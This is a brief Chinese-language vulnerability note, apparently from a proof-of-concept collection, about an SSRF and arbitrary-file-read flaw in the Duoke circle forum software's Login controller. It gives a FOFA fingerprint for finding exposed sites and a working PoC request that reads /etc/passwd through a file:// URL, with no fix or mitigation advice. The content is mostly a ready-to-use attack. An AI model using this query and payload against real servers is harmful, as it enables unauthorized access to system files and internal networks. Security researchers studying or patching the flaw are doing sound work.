21 lines
476 B
Markdown
21 lines
476 B
Markdown
## 多客圈子论坛前台SSRF漏洞
|
||
|
||
/app/api/controller/Login.php 控制器中，httpGet方法存在curl_exec函数，且传参可控，导致任意文件读取+SSRF漏洞
|
||
|
||
## fofa
|
||
|
||
```
|
||
"/static/index/js/jweixin-1.2.0.js"
|
||
```
|
||
|
||
## poc
|
||
|
||
```
|
||
/index.php/api/login/httpGet?url=file:///etc/passwd
|
||
```
|
||
|
||
|
||
|
||
## 漏洞来源
|
||
|
||
- https://mp.weixin.qq.com/s/S12FdNBxJXyS8QXrEHOTfg |